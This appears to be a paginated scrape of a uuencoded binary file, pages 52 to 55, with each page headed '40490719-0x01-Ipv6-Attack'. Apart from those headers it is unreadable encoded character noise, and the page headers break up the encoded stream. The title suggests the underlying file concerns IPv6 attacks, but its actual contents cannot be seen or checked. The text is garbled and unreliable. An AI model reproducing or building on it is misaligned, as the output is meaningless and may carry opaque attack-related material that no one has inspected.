*&3>`("UAGGHRFR?79&/R*W_^?&M'1I;*L!..PMA+?=1=U[RHRJ^1\=Q&L".H8!)8<R/H[.1]#'L`K&!3G<#VIYLM3\XB?3H_QD4A^=/<1'^:/TU#<KY_R(&K=B58P`-UA,AZ=]RS_C53`E-1U1V.ME^D$6:U9%VXZ^@!I+F%0UAXZ>--[UMTBXG61=Y`-Q'!*SFMQ/SK.,2FR*T>IMTE$BM>Q-#!1VG7:5\<Y'1B/0@M<+\6"PH,\ZFTL.#T.C^+.P8^@&A$3F,)/IM/+1:)+UC9UW<[LG,H0U0*/%%GXLS3R\98&LZ/P]GKM\]"M@9R4($Q8E_-1S[M/177T?"2$<0*9NT""6:+P0/@@:$SA;)U-SY-F.<]T<"E2X+/LP`]PEJ;%C[5MU@!OW)]=P$ZU\R?SZ@Y>+#<X*!J[YL.*N5YS0="$=LBIM^K,^WT@]5`=J0]$M;R::`=@I#@)_DLTI5M=2K`^<4VCM#S35>!2P[W$`0'"\S-(CN$L,Q1&?R9@6M8CD*>`?X,*#EGT,9/D$V<IH^/X4RGB#;G#K"WJHG/CJT>D(C4?LR$IA?3M!#M<]R8)WKIN.@3MX@SC#5'TE:M%!6+86S60MN-L48A5VMWA3,OG41?)&J:HNIZMH829G0G$(9,>?QA,!F5>_(/!%`8*?3GU_X:N5<(HF@>JMD6F5H#N;6TUT$=QM^!8N;RZ&$!)#Y[(BTPB(XN12FVBTUJVQW5L,&SCVLXWR8CU?ZZIEA[,K>9@VM<22!+BD)4B6&K6&"%YMMF=Q>"(`:S<U<($7=8B10`IE@!Z=AY(E`V:2BYF<4M^H@#B+$4=&'&89>=VX%&@QP"TCP@9"(NDPV6KYI`"NLZ!O4#KB;DS6(*)XZ#MI,9V%5J?D=M(.(1PY=`6'T)&\BG))6:HD->#Z\,)!4C'$!HB3VV)=8.NAG!,M0KK<7XU'^>`RZ,YG'&(0R^6<<+O4NWAH9VAU!)-J]&)'_M!3>C>P@\+\;)P'MU+&;]V=8(89I/80+;7P>_@TZ]#Z<P@$9&CZ-K9HV+D=L5.PN%Q!Y0#_DKE=F

Page 52: 40490719-0x01-Ipv6-Attack

M`Z1V49!M1VU.-$:U]VBH@"K*PZX)"M&X0)L^?.LA4`BZ^6@0!L->LC^,EL!%M./!%+V(.=P`I<^IN((/8[4DDF@$QE[O:L:A,'.M^4`L8#+`[GF`U`('G<,-?M4=?>8\\(1N4C&,6`:"-<=@[*GCDZ.LCF[-9);C<,//0>&H1J.6881G8D#4BCMHRDWA/58?F7#,+&8*F6$ZETP"ITM"^L!<$.;<9+U)L#4TS`>OP$]A1Y(!!ZTMZ/1'-K"2>Y7_D'36W`OZ/NI0A2/8G4,,?$;.W!D$H&[)TO'+EKQFYZ'VR=()MAFOCV(;)%I@FKEU->,MK#W/BZ.6T"@ZC#[0KW/+Q^$\2FC1Y?*E4C'A9P`T6M\%(=(0-.$QUSUE3IPZNIV7$+YK2$"BRJCD1747>&JK@`7X<%,[DG[_V3:(*.M&TM*99Y*0^:U^G$[ZU%@N?YHG"<PDY>9'D^_0JZL*1,M6P^]@2@2J>/6W8%[ML3E3\3DC/!=-,@C%L[@<1S?_8WJ09AU?%B\Z@Z01,FB@A#5(!4IW"`C]5*YAMW3T'P=)SG%L,6G+&T:5<MV&QV*_)[email protected]@=CQOA\-\81_>1PI(L134THMTAMCH>J8J6SLIP[V#X_56AT_:QQ+%/76<)TR'$44JB'1"#V=CF>O*R46\\"+M[N0J`TDYS&.T7/IH>_B]:DM(1GA/[_@"0G59E("L$+141R9U0T.3BN9#^\Y$M+9T&?\U!X5'T$"$B5HH;(H=13Z-*#EVMZ-BG#_58<(RORZ4*NN!D*$IQ2*FFM$A3C.*3PF)7^_Y6"D'*T$[6]=W*P?72T]^,NM:C?.B%*6<G*>;DL0JG)H`-TMLE8QS]EBY%(,&)K#9<M17Q_`H+5OY7BL4KL>+$MS*DD$]RR;6)<X-(DI"O6ZM0465?C9A14V*"2PJW8@6XHMR!U(#B][email protected]/!>)K)54US1V!-J5ZM'*KT%M++ZT?I1%H=N>'*EOB0%B6>J!7<+295EWW&A2381>7_UN-YA@P%.52>Q+]4U6M/<#L.?7`A#VE::B8>5`4W`CPE4`$AF($B<@KY,NM$>A["@!#'1'P4.]+A5+YMS>C-="U7K>0D^BKST"`_[ET=*1=_9YT<<GHIF=-8)!E5L@^IV868IGH'&?=(M>$()HAO6G50*6,U[-+-'R+<!)WL#:1P$)"%#5N-5?CKUM1<*;TX&5B@\8#WKM@GK&U0H$R:IXS&C`N*[R9`(2VM:\#<B]@2K+B0X`)3#Q56K4:6E8%^`J"NHIMHIPR,G8NE'-&B)$^,-`,6O(;>R+-R_20P#@/9LP;1CK;]@:+BX=(#-`=&LRWM%Z)5CZ)_R.$DAMHHJ%>82?&P)JF3[5"V(\[,;1"[-S:`@OH]BH=]U/Z9"G=WMPF$C^!H0S(:P;;,0.)M>8@"YY*SI:=96,82#AIKWQK5[EC;^_1B1F3`6I%P'M?='"@C@2`-B<!+9U[\U4?$0E;M;37D?E_ZH*L1O7RT!R5DT1?V3.E,1.:ZGBM8'P>%%'&$0MH422FD&`K\;J\WS."SI(*B5Y`!Q3?I_/F-V`X&SEK$^5$%4!?M5:$$T+'9>YV-A5`$QI**XKAK!DHBFA+UIX(^VNO=4JM<JY5;Z+J]V=R"'WV_MW]IL-.!=K50N-FH%3_;(PBC(64FHHU[EX+=HR)]9A+8GHA&/4`6476CTRE62M-OTTPXAAK@<[1[N'/Q8L;]@BB/QJ<>BVRB&[T]!Q0+S/G(HJ3D6*?O>-7=\^M/M[Y/?:=?WG*8R+Z[X\Y^I8_F>518BGDD.:DVUQD=KO-GP^C[HHKIVC"O?0+M(E'Y7TB.FH<SJ_WLKUU6ZJ6-O]Q6<SAZ7"?O5@\9HXLR,][ES__[S_^W:L=3M/_/C?5GQ?W8EWC_^G]K/_YV."\XM7O]!B.$'HO`4`>K1WO='N]__F(-%.B4VM([$?B"HO>*7+6IG_0X6;[[Y3F:RL&MPQ7N!?*N=3NBS)#R_H+GW32[SI;/9[MY5)/,JA\N5)JENOE9KWA!9W%O-U^OU^+YVV4-RM>$$T2>=$>>K-36DB`:A-9MS1B3"5!K&,_:+-6:S:JN5)6KM7JYMEF%OO92<M:;B9R0Y@7AZLTSI6"S`JFQM55'J-=`&ZNB9VGNF#I^IMUXW4O$J-ZO<:+GN10OO.ORN4O5ZU[P+KGG73[XSMRWN:?%/EGM3YW!/4$]S"A7"&WRPR4@YWIQGA&EJZT8\V-?H!R-09@MQM[0(IM0%]>^II0KJN(M'H`M*U4DS'D(M3$ZT[]:%!0WP/R@*P==#=N0WA-@U,D$Z9JM=^^`O$@!F"+'LLP1M`U9;U:9;6E@0'%'<`^@&\4?4L58C(=AH&^)868#>XLNMX+C?CVS`UP61B5I0'HP72(9&T\(MEF$2H@D(K!]IJ1ZY4L=WQ0E<)L%T=(*NME6=!8=IAIBJ]\_1+;@Q>ZHY(LTZ\*Q-XV4CL;6<]1F2ERXR[\PQ0:'GYEWM5M*=6<>(O7##C=E;@8BWMQ]I#R61_C6GF5'I.U,7QII\R(A:H.YRGE#$C5K*5YMV6RP5[B6YYF4(I5'6Z_>"0K33P"K4DZEXM6-K!0C=+N4XR_EZ=.%1>GR)?ZMM:.?H7,Q,E`W(/@+%*TD!B+V%;DP#U/<(;$]N[HCI!U"W(\#0\^AP,-X95V3;MB/?,2^]:LF,G\?FQO7)H/K)03,Z%1PH8)-D[U4=LL34.+A!%@.\.KWC/:H7;M*7*-D.%'E(YI5TN<C*0#@,@@5%[2AO#`%2ZDLM1MG3<,VIY8#.ZG<;Y"\3SJM:UGV]16(+>'UF?)J2P`J9'4<:CFMHSNX^VJ;O$#O7H:S=M\?1K`=#N#@0M+.M`"/I/@$`<B9OT("1W\%!1J/KL)<H`^E.X@OD;+5K\,&BA\_WCX[;N5@5)C.'MPIGW`5=<>W-9+;^Y['7>7-:K;RYK5?YN^&\N2_#7W'IS&93YN=&`=\TWE]T>MI)?65`$+;T'B%F2J5]+_L%`#"I6ADGI7/TMA;*%4BK=2ADQUS-RPZ;6JVP,IMS-UX<]DI\8L.9"K5;+KI1:PB*:P+Z<Q;..XM;J7:=\<)A2!]$_[ZNF4<3Z7/M?YM5?M9I#1PS5A1(JU@Q]D:WK+N"/2AUS&P^!'AM8:+<`P9@(N?2WJ`9G+5LM0C3MA:-W`$CXIHOG1UH:X_\:)I/U@2J!_X0986K4.AN#<,@NDIWXY/8PHA]3M/-6ZWY:9\7E'[1!#:<[.)\7+RT&B`FDJ'YH,*M]1&S@1&^@MB4[IZV_>*JX;M(-/,/SGU3TA[!=W%!6CQ2Q9=R/P#'+&I,HCK$.+?+F>]Q)F`9>O"2G5@I<J;M?#YZL+P]W`NPR2KPUX>_#J0'\-</,+^S,^L^'RS\+L-&*U7M[R967N'=&L!WM&0OWI7`9$K8@P<>-A1EQHT$+/N[_.O_5?&[=ATW7QS-4TZ<16FY`JSYVT^?"M/>A^&;[+N-'@=Q>W?95_XU8/],[LXVZ$ENL!'^D`,C2ALGZ#*^EO<>5;74[WM\4^?B:#$DU"M\:$):CR)5>AB!R>JP;W#;=^#M$T8QE9%"OMUVT(-:MU$F%#AMKE:A4`TJ[L'S)KSK;O*X.QU=&%Z6(:$*XZW7N'8\LKV`5V*SP>/O]WAH/6RY

Page 53: 40490719-0x01-Ipv6-Attack

MH;L-70SZ7#O-+@*1.IY&S]5@8O<0K(IF3Z7P^W`O"7OVAWBX7\]AT\115A,`MF7DP!G=F+8?,[M%!5B2AK-(4$[F1^E2T`"U(\8DO:?&`:Q'R@J&$J1]F"((0M`L)HP4F\I^S2")U7BK(+QBD'$H$8RE::9Y'9I%2O)I0&],(S4^4`#6@[C^EMMU6S(RU?[!PCDMDI9\<^7_XP/E_P0K_6#2ND"I#J=5!^^H$V/6.1"<B%!(007MS5\JS[,W/P?(HY=7SQMZLC4\OT7/!@E526(W366S"8]W,HPY.+C&;^NGN3Y8M"'LHEGXE,N^+A=5\K!ZAGX#'B4"!:,,F]M(K61/&&A`;'VJ&Y6N)VN^G+3#>M,PJ5@MX'J*Y/6"]B2MY]OECD:DBY/.#NH9O!UG5W/]S=#W`,[B,XT;"%MLAHMC,&+<)9+:["3V%]'$$HB]MO^K8D#D%7=;\AY(8<:KO\-.!D9<QCI[1(O'`D?M'!K;07%2F[M><#=Y@7JNO0]#-S%+P68HN*_7=@8!W%I7X[E<2Q@5UH8Z+;'EMKWONZ,RR<'4=):A&-&#1/F+(+\*T3V'%IW5KM?(Q&*&[M,C"/Q[8BZ\3D#HOM":H"#'8005*`4D0@9"'!'[*?2^;[HX\YE'R3%2YJF)-N_W<J<X56W2.X_&]1M/E#]?__/G__GG_^G]9___>?_X4_E/_WIY__V__VOW9__QW_\'T'PNY___1__M_>?_Y>?_[1___H__ZXY=?@V[O-ZH-NJ]RD+"';<\_=UG<<MYVUP6*R58"@!!MT<2S:]+20V_R=Z7'W_V`OSN;TE!)TN6YWY?W?5M94U>F,Y=JB><;OTUE7=.SM>E=:]),MR_/-/>N:GO7T,*6RH!D?9EDJ:VS%OTL]4UG/]&RK]+G?MK+F+586MW&;/@MOL6?\V>]:_Q9XU2[?8LV;I-GM6OLV>E6^S9Y7/[AD#I1)@[;8RT[-.MF;_+<A9['?F6`]V3L[@I4*4BW_V:J:QJ>M:1PH%\:WC6E4JZ`N?J`@BJ9?ULM*S,]*S?XNU2-%]+I33VLBN23G@454UG-]*RL>R+#*DNA+4GWI;)&-9ZOTK&5MF9[YTI-&/?Y=T\!2>N(+G--`M&3GK&Y74^:D(7/AZPGWXSWI:6"I1]"SE9F>M-2535^:H6XVG5Z5P(.E]6:AN8"IKV#M`YF9+>A1()4WI:;\1[UE?@^^RK<R>M@&Z\L*^_98X"?:%(HU69PZ8]`9NF9X&\U#N[JB\42>\TXG/;D<I[3;Z773?AM2?:%,"(T*XIDE\1'&H84:3`F(?;2)<0;22()#:\3_+'=HX,87RS&%F,!IK#4MM!T!JM0AJ7:./E@=.:>]B0HBR>)R3O0#UY?I,)S-AH%"`1;.`(S=1#W;$.H6M"50@%3M]VV^473F1H<RD496QJ?.L.!6FF)V1B^HBDEH;,2-1:M83VG*Q>:"GM?J\93VR.%E\E.T2'6:5<CM-*Y%B^<D>0_=($F>B06:4R,H^TMCLD?A^B_P32MS<C%EU3[)7`T>WG>M4XB3J=1]5@\W!A4A`HT"MT-SYP[5/2%TXMGEIISW2?LM%)TRZ)4US8+B)DN+I(W&)YMYI%N+I)AZ]+NCV1"3/*_XC>=T?9D7^5@DU6DXMF>!.&O7B(<35[\;C46=\IEX$`=#4061(9K^#3!AV7<!V.$Y8<>^;XDKV'?W>M"3+MX0MW,+H,-U89%:`>T<8$"X_(B*.KS3=R2HP`T&MIP@CD.>2'O-\@OVD/M$O#GGGARQ#[<:U<=#X7]C(DE_'4D+%]_@>6;4Q)8.&O\%)**O'9P!WW`P-(FM#G!K+=MNH^`RWM+NX2&T\\?Q7/7&(_0C@==`NONXM(:T<0J/L*15_^F1S%/HM5]("Y8=71P>[.^[;928H7KJIB1X5?5?>YI1T0#W04RR.<..&)WK0._YH1#H]MT7CX/M!1&7&K\6CU8.-C16]MVWMMW<+#[;U[-*$/,7&/[$!&P:7Q32E)/.YVM6[,+C=^_3-06@Y98SIP\&6L6>3:V+-D%(Y:N/]J8*=:.4JFV+&*$P=YPVZ(4MDXETW63,XOS6UB+&Z:]M"W9DJHP@)TMBC%IBAASNJN!4/GMZ\J?=P_W,`SEDMF`YI1[O':,B2DEJ*I7K&1H9<])J2;D%;,E:0C'DBN$Q@_)SC:.]/N[;V'`GWMW7_)J$=E50>51TP54';O*-G?K/48G!E1<'JTBLD1[#"&6VP6HTI9UUH(YDMFM&.!S,)WFU-KN_C.[BK*.%2>L%?>#8\N7=1MB@J0[*[X48QTN7=MAOX<9%CM\M.[UELR+369R%M/[.*=Q;IBQ';[&U'=[!"/*'&"/\S4@:CUD*&>Q*S#C,_:/<M2]31A+`95D.;"%T*>QYJ_I1+I7(&<96L.DT\3L?S2=0NE[<R?@\NHFS.OO0FM%SUO%3P'$%C_/%!YWWM!UN5X,9]>Y"NJ4F@4*IOYS?QI,`)TO*ONE]71RP/UM##"'?;B$@#8N-5JU2@M0D1^.=]#(IJG"1K/A??_JAR)5YMW?_^G5[E//^V/@M#^YIA*6#6I,<!?QL[D=^F!HWE@,*D=L`-J4USDKB%K".B+"@CCE.`)MVH_VLM-DQF)SC^U$MWM;+HI,"U79<`6\:LN5;P',\=VF72.>G":>4\\@^39K&+_FB,M%Y!*P@O(,W93<L1J/6XK,0<FCIF4N$!P%!:,$P:-4).-<$3$D_80,3K%$#J!MXZB#C:OR8F,5:PVFE1M!=Q<))SO6]P$%MD5<UKC540E%7O&!PV9EL75@Y0=TM+-'QI\8-F'$BE32?4D\"#`X],29A\<D10E&.-D#$R/DYLK_1`%L#@"P&S&4$MVOKO8F\79'S>"4:(JO'@.W[7MW'6O`'`-E(!(?PW8:I_G9'^HI^.^$B\F!,<M<=T0F]RDO;VVZM>60M'\')U_$!7/>SS->T/O!M<$H1CK%V*A#.?IIN9V@(LVM\3PZ3WOA6=`.19/1L55&=K:.8VS^C>J?SY`X0VP?,.]_26/S=&MSG?CDAV?/MCOZDT!3;I`%:^A32D!#X)8W%?W5;\>M,Q>\LQ>\LQ=6"I;C.8X\_6G*K=EOEMRZ:,,[KI=#QM.<`BDW411M<8G).TJ_L;+<+QH#C5XB,.C*,Q*^>@!-/7?*3?M&KOJUWR>^?0H<X`X=T[A&>(BNE>208K3(>,J=`9"H;%]TX;.@=BN9#+WFVZ(M&\F73:'L0U4L)FY,/<APB-Y7!L$TD-H(JZ8FX_4Y+<KLXKPP<OQ[5[>10#S;MF1#+:297([R'DW-1FIZKUY?OP_`MLY)_!TV?7ZDGT_$%!H47!BQ[%M5(%2`^MY#?H#.\^ZU!1(DPZ,2'Y%O?LE1\S.G?W2R[N'HD#@?$MD%*+<4@)-'DP'1$\MU:^5^!`Y`3*(U?;4R4G$\/($?Y_[EPANS>:,?4Y.X"A$,Y52!R]83A4*!0X+M#6G'SP_W?X)O(#2F(6"?P<F)RF1T7GPX.>%NG9SD5#6G:EF"UM[V]!2=M*FSM(%_E=9%)<4:9[N;`]L\35&/9G.*U91M9K)]GT1KC:R<`[.OOC)#JA9<:`SL#MB#&%RX`V#7H`L"KP&/]3Q04,<+3836;<_,E%/!GOI%"H:-'/%O!GO)-Y(R_H

Page 54: 40490719-0x01-Ipv6-Attack

MQTZZB(1H(C#-=A\H0XVJ.#B+U=;9T(D;O,6U/;IXRF-J*>Z8S[']]E8V@U='M0`F1.<`B3N;1\G^J27D%JA6Z(ADP+-6&7"TS#HS#H3B^JYU&?C^$@SU4^Z3RM[!W3ALA\OW^<-1@JK^GB'M/1^6BVS5)0OV,N&;4XPBSIN/.N-S^?J/RA*>9YM^A?+Y0A(2/>#8;]:R8=5H'V]IW]\M?UR;P=`\XM]&/W>_BOXN;-_^/3(VP?0MN7L,98__>+`;/_D_;K_X8=<K-4NUK7Z_I`Y/H*Z3[U_L/SEYNGW,I_WT?#PZM(2'(R0GE]$LEG?-W/[P\.#EZL7^\-&<M)2=?^CI',R4'7THZ1S>U-?2N)ZTAMRBJ9RVE=PV.LWZ=UB!$)G2.M0XPFZ1QI'7(P.<E62>L*8D/Z?5I7Z%K3&5)[M$M@*TOHQF<\B>5]-ZX#>ICI/6B<0&7%V9=@'\-L/3U4P&Y0XHC@2,`WB^^(/M.A`MU0^:&*P:PU!S4.FMH!4T_`X>VJ/N>!*T7@`L3)9:%9Q(%7PJ'2BH/9.8M`_.9#A/(D;<]=7#0;SSG1C2LYSMF2>T9E^U07+L?,<2G`;H.-&:?R%H*9YR8M8*W:7V$*[>X:.DOMNHK3.73?#8UI#$GBEKWI(MY4P>ZG;@985]X,O6ZKWVDTMOGPS5!8V@^G<ISK?0-</7T\6_Z,7F5$XS-I_K`YEZ7*S5*GCW^J__"_L9&W]MDGX8/4ZV'+&>),U2Z["K6N0J*VVN(=FT-7:$Z:5;R1H37^-[WO+>Z'9+>EKUMTIF82YP4,Q8U6<1'D#<6PY$VQ'YX`P\!ND-EIY?H7L"?D`\=P0?9%I]."=JNM>TE+J9@F2`)16S20TNU[BY91:9:-Z=HMY#W*.A85@H/YN9JL$-?6":(B!>W[M5#[1=;)NRY4R;"``=]M/GQXZL`S(-0?4Y?-IV(G#1=+%C>8Q4'OBB5"#T=E8M#6!:T'@@&@*:K[ZU+@-L3S2V8EE4*-!"7(3X5AX1*:;<Z[>JK8K?H!"9./*_M)1G&-\4O,+KY`I.;+S"X^0)SFR\PMOD"4YLO,+3Y`C.;ZXUL;N)?4D1.K:2@M'JFJEA?&]!1(38'#)G#DUX1J@N-A4^1[+D<&=^O;G/J&*F@K+=E7WZ!+SRINMUW_+"+6>U:?N6U7)YI*IV=Q'S38-<PI#J.44N=!EG8R;=#965]J@NJ%?&7V*M'Z"*('P`T2]EU>/'JDP\4P3HR6R8!;-F;47Y-FH4TG.4X`JM?1U]_77AZ][EMUU]_W5L?C&(/,,T/T,>I#)7A0"Z#K>8I#:`0UJQ?P:PQ(S'&XX)4&#A,@3QGM<ZCQME7:R*EZF7EQ\5ZE%(!NOIG2NALXP^,3=F0L>XQ/O51MY`:]D5441[Y$M<^0Z3O2JRB,QU0O:]I^B0')+*B(K*HG$U42$M[NRFHCF0.9DWR+G[+_XL*_1M?TDX'%XD&41;`7"&X+(A7W$]!7GU*5BQ89[\&C9HJ/H;]!M-2<B72YO5S5JCMA#9B2:LTRKN9S-LL5U+LU)IL'D3"MU3#M&[2,*W1A&;3#=."S5IW(6'1,(W4MF*NF?S9AB65:/6F9ACE3+=.2.>%J^%++M-(F6J;M/%,'_T$MT\JETJ5KF(9KM8FS)<-8VV:AK<9?QW5JJ]OM?V4UE:JG;6N2C;GC^RJ#V%5-+(]87POKU2+:JMM4I0J9OY:%:KU5JU#+4TFI4:O*R;6C9-+=4REFD$=CZJL!5LK5"P#A1Q\RNTMF]DJ-0)G1,VN-;WA_]0-SU_9GZ:6K5NIQ;^56CJW4DOW5FKIW4HMP:W4TK^-M6IJE6ZFE?"NU5&ZEENJMU%*[E5KJMU)+XU9JV;R56FX%OC1O!;XT;P6^-&\%MOC2_#+Z(I==_0E,OG)F"=[UA5HH1EB:.)^S&$:;`*)`F3;(*7@K_3#<M-EF?M;9#UKVOHE!"T_$KTPJ^J.UW*H'=&5IPVOUEK6AYOUI/&:?**$;*_KY.Y?*8$M[A9$</_RVM6)((5QF?\OHUY]I/55`-;-4#HQ815E*[%+Q);2KGQ9YY>T;W$8M-)6.G$\"B]%$3(,A:Z?H$*K^6=CAZ65%:)([Q!5V8^`0%:M)9F*D##[Z4NW`M=+U#/J;6I/7$VZ.I"FHQ$Y1+&8&)0X&.6J<8M!(E3!-_2+KC(KB94/QF445OMHB(ZK<.!5K3\T54*(_)^-CZ#=%'2&/C3?H@A!%F,0UY?W7@H,_*Q%UG-$YR,ML_'Y?"1C0,]J$UWI8@4H]SF?(-0U=<W0RZR$U+2PGR0WHM?BU$]Q%^&4B)L[M"CR*%]2YB2<;A7W8A@.,;3(^#4;BOI9B<[$#9ANWM),>X-3CZ,N.*KT=D74:MIV^UQ#&@LMN'!S'[S/B%]A)/ZDCAI?$R[/5DJZ74X\7Z@%Z`M=J057S"U".4M38Y'ZGGX#LT^4:1-BX[.`5$)BI?*`@Q'FPXU[D_AUO*C27#FQD6E'<RQ1;T4M32MWK[J!1(UR#D\7GCL,9(9Q9Z:\#VB;47Q.1CY^A-3G/L5[D;)LH,E1^.PLM>AB%]&)$CDOI8KX(.A&B,,?/=U#X]Q;V_$Y*W%14[,=+.-XQ&VN9$(G0<6_LM::W!*!C",1M0(+AXSQ9"V5&@>&@'1<8<?!2V$4?!YG@U%.I08F4G);X4!UQVM2FR(GCM$\7`N\:JY#H!5`4![[(Y_-@BG#I;%,<]+A4T-"C@V[<+>\[S%[4@6M'3+S/FOFN7%O7NX=O\PYQBH,QP"<33F8*4W6#"9]HN!P491L5`%"FP.[!<>1MT4$<DW$(XP:`H^+YA&R#/'^I)'3!H*E3<N$]`13WK*!^1]$B3?-DSQ),<7:3M(>%M)EP66!?6)G%@1,YFP6%Z.CXTQKHTT6]8[\0`#]S0U"F?8[O`Z8?$+N*$MXS`:XP1X>,*?/D<_WI/QN$]'],"(H_GBT;.,Q;7!1V@07SHKWM[.2RPP"L+3M06>,OH2C+B+S5PY(IF:LK#M9AU2!:"7`0UR5[?ELG-\A%&C.'GCMGN%=(V5>MZ6:?ZF:+1^-AV`V9^^OI[L'4((36GA7@2'11Y1.F='O'B*OU[>>H/[email protected]*M"&:C@)W1GX)\7AVIEMK&$,?CN7KRW>/'^H7C_O.#>H7(P[;Z<*.K4,GZ1'UPMVE*ZSD>/7FU#<WL*1O.D8#^N>U,=E4B:##&\!.$/@WD'H&>H&TANR<3VSGE2MP3G/&JE;Z%G"^9-J'/\`1,C`402LB1?`,POE+H_*X%M%TJ]RM5Y\=91%HD:JM/I\/9V'7CV9F@03MXS"Y(VPUT^^7*JU6.8NZ%@AOI2\:*>%8%6Y/%"R3XV<5MZIU@K&<=4<VE9^/%]`"V>[#-9F&$EV!\`(WBJ^TL:;2@:Y!W/)=F.#R)2*H%M&)\702(%U-7@\8P7"[`+`3_.7:#,+M1=CT7KB'=T&YZ'T5QEZ&`'O6P!H*B@M!J\XXJ93V$L6@QYS5W/LQ406W[J3B.\>#_<-W\,SG)?)W"&28UEW8.R%V,?9MK/$7'W1'/ZQ8H@C_>PL)L-1X'G^`TXC/RCDR][QEA6-/]/"O?]0QE$<(EYM=MWO2-;XY4CH_/CM(QF]_Y%WY'B04?(!\.]P2/.$?F)H`.;Q$*F+AX%BX\D1VS

Page 55: 40490719-0x01-Ipv6-Attack

MXQ'^8'J1TCX34\$IP&3;^K8RS>M#\<2$5GNBF]>MZ?VYHU9JS4NV]F2QM>T"M^E`)ST*-`LF9M#/JI=<.W1FQ)6DH0=X$#=%-GI[!JW-NT9/I39M3:P";T+_SM-C2>5<1`B8B#-386(#<B",Y-67%NRNLN5W--7I?)**U%Z+U\%L9O]1I,78C*MA>>DP>;'H\<)C@V8+B2%@OE&O&='9`HA!"KY18<)"BG*O<N^`Z195QSC[<%-M18L`).=9?CCN`KJ2Z<S9\I??G!+W(ELP0>YIJ:A?&3ZBVI6ZJ-R*"<3,AP0UM'<]9;^],;H=4H'LXI@!WRR^W:O&0+C=OX7+CVVS*%<A]5JH`T)8ZW0F$Z0G'M@)6I6$_B?5A^/]6*A]ON!>LE.Q&_4@L,3M*N4F9>T.:FGISIC1(EIPVNL[EEM#0&]T@\O[6W&NT>ZOYV"51VZ@);G2$/;SP6U,DT?%L'ZHT>'!M#*>EQ_[<S0MUP_\3PZK1L'L8CP]DS'>=,WCP'FZ&69GS3PG-IAGIB=YK>-*.NNFF4,,:1RHMIH/)>SPF.&M3O]\/NVYA!]=80#5T7"=8UO$9GP*..S3ZY]SJB6>57+2<NF9=MU.??^]?LQ=O<C&K99KQAMJ[=C#+Q23"R(A0Y"VBK>"G[;.$.U;O-;+:4&XW9M6?9&Z\-./^$"-UUJ=*4]!?(:X/RX3R$TPVY`XBA)BCA)99Z.CXS%QKLX0:X%M0HBE&P:2)V(=P/^5_]X'ZEKL5%%1;CZ%*LW1<!Q,"&*LN9-GR!WT(HS<Q?&QMK!.)9">@?_$@O@[%WC+C97+WZ'P^11I=;1-/`JXRG<!,"I?W00.._-D\V6#*M@)$5]RZD6+#3CN4D,.B!44RP*A/W@_/8`7LRX#2&!\40\B.,=@(XQ>D8Z4:!M.U#M,(0?XO&,!E#P+%,T2HQM@=&1(#&)!V.N-:\S'?L]N=7HOC?+ID/)\6IRM85D!@JW8A*6:/&\9/T3N3]N09DXZQ*-TQERQ@!_!\&?J\-F.JM0:50J=@N#5M!DB<&;&'4*5T)IF-;-$?N4`F,@=R<E4:R>F@^]Q##ROOZ/W(7O_FL$G-EF`#M9QJW97R,SU#1V*R*K/RR-1$X0E%S1;4TE:B?2YS@1<0CL4[.XD`]<$0P%'`&MSO@L/,]J`.,MHLP.@*&^-S86KJKEGZ67V/)/#/`GK[A56L(Z=#&9Q5V<Q4.>MQ1N++;MP'EOZM&!)3>BC%*,7/5)>ER6XMI,?/JAX[R;#*Z>B:-J%BGAYKA]MMK/WK/Q9U@%ZO7LQIS13[BC[X:R'E_?OW*<3^JDUX'[:%8;Q*UVA0/](LI>&BMJ[>*F&;<S1(>G00(G<1.-($T)HN0N402+,`8,#P;<F;G)M3C8L7B@TC0^P)0M/*KO(\IE/3<!=C$BH5;2]5/2CHR"O6$PR!$0#"P=0""A_4B)%H:V_T)1L`]TMV35$LG/BI_;(ZXLT'76`G>JKIW.XD;JH8"V1B2"?."T"U&+Y2T`RMI]F%P0/MD``/B#P)E'/B:5I/JSX6&:1PG<V0C6)-R'QK3Z\@7";;3V/7#=-Y(3-2@:@`MU">)1]FF"TJ3PB*I[/C3>8(89FXQ2BU\Y.$AZ(WOGP42U#:?!N[3`#U6@5)WM9S9P%9=Z(N`WXND*<4XL$XI[9GM[2GF^1)E)Y%9BZ!JA8"U:*M?X.TV@I52$MK2('"EV`Q.9?=\\C@4O,L-===%RWH7\:+N4#Y[AY=V&<#A/'),F]M1,?$65VM7=]EEKA7>$[QT`/Y'IQA"+K$&B^_+Q,,T&79DO>0^Y1^0\8JWOXN^3H=/B>;M60(I[06]&I"U\#RUU4>/XNTN:14?_YRH^8]`)(1(V6VG-[QPP27;6L1*3)5/M##>87$&G``8G0)\]E3DC[I1=Y)G-PXBRLPN%'HA)!@3JDX;.A)53!`5FG'(5MH-T;1_E1<$$/%G)7$6[OSP9(E0KULPN$"1K^=2F@H"ODC>DGB+118F8S):BQM7T]\P#GW44QQZ2R`>DA-)B:F3Y(Z?-R!7!.MEF=3WS$^X2G-::V1OGY)6@F&M=+&XM*=8(JHQ7X+]$0589+5`+21"R@R='"$U9^;6J1Y=!1MZ*E7E(]X7[=L(MQ_%RW$&7(S0<`C5_8_$.P6[ZAVM`F6HXZKD$UL@_GX_(.F[TSB>*D0'+\<Y!M\8>G(D2FG>2?XZU24'NI.BUT`4(]J#6!86KAFH#^'.VBO&(6]AU])MR^L34_MM[WGCIC^&[&4>!GD&F%!<4:Y]M%XE*<61+8@A(A49+R>QQD7Y[1=$['AT>Z=MN`-"\TJWH"::5SYZXH12!Q;@U:2MA(<6]6@T=4]:+Y8!;]1*'2T8:I_1#3)/MG,_FD5;'B5@=QQ$$IBO0<?U/OC^@VCREQ^,J]`EYA\[0X$V$]K/(6B>7/#ZQM[9&RQ9'Q,6)ODAC\V_KP)+^65G?%4;CQ2,L*KD[D,.$26W-ZYZ2F*,TPSH0BM2/3\Q1PF1X7&0),Z0A.&(X@?7Z.*AH9B!U,?$#UD,!T8+1HN8_P$QGV:V5BKML(&@3U9Q#&;$F\C8:=Y1AL+N/L]0`CUQ08ZN''NN?C#SQBP`S_C!%%T>F2SQM!L)Z/P:\NF'2K::?14[.B5]#VK[GHOL5"/^7H`I50GH7,64ATO0SS`Z&K1N.M:(KU%U%]<\3Z9*AW872%8KI`K_DB>9NXXO*OHXMPUATLI,,;)F+?7D=D7TN!M_P(O7VMLX:TGG*,(N473<*PW18[.,:)E_'4V/I\0LS75Z]:B1PBY;UM>3#U8MQ?6#/\LERY=[9-&*%Y_<N7*UM5FCSI6PV6KSBSM77>R<7IID]VZ>NAL5JV]!MK=KTSJ48M)N7:!3VB9*G<^BHY@BW6#8%2KAY"2R\&%UI75VNDCT#HY)RW&N0M;4.4=5RN$TNWI16M&_($O1@O]-#@,3$MFEEW@DY$+`